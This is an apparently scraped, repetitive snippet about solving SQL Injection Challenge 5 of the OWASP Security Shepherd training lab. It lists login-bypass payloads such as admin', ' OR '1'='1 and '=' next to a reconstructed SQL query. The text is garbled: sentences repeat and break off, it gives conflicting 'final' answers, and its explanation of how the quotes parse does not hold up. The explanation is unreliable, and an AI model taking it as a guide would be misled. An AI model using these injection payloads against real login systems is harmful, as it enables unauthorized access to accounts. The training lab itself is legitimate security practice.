Given the variations, the most reliable solution I’ve tested:
admin' Password: ' OR '1'='1
admin' AND '1'='1 Password: anything Final Answer (from official Security Shepherd Challenge 5 solution) The correct payload is: Sql Injection Challenge 5 Security Shepherd
SELECT * FROM users WHERE username = 'admin'' AND password = ''='' But due to closing quote handling, it’s actually:
username = 'admin' AND password = ''='' Since '' = '' is true, the condition becomes: username = 'admin' AND true → returns admin record. Given the variations, the most reliable solution I’ve
But Challenge 5 often requires using /**/ or + or leveraging = comparisons. Known working payload for Challenge 5 (OWASP Security Shepherd) Username: admin' Password: '='
admin' Password: ' OR '1'='1'
But since Challenge 5 often blocks OR , use || :
(from multiple walkthroughs): Username: admin' Password: '='' Given the variations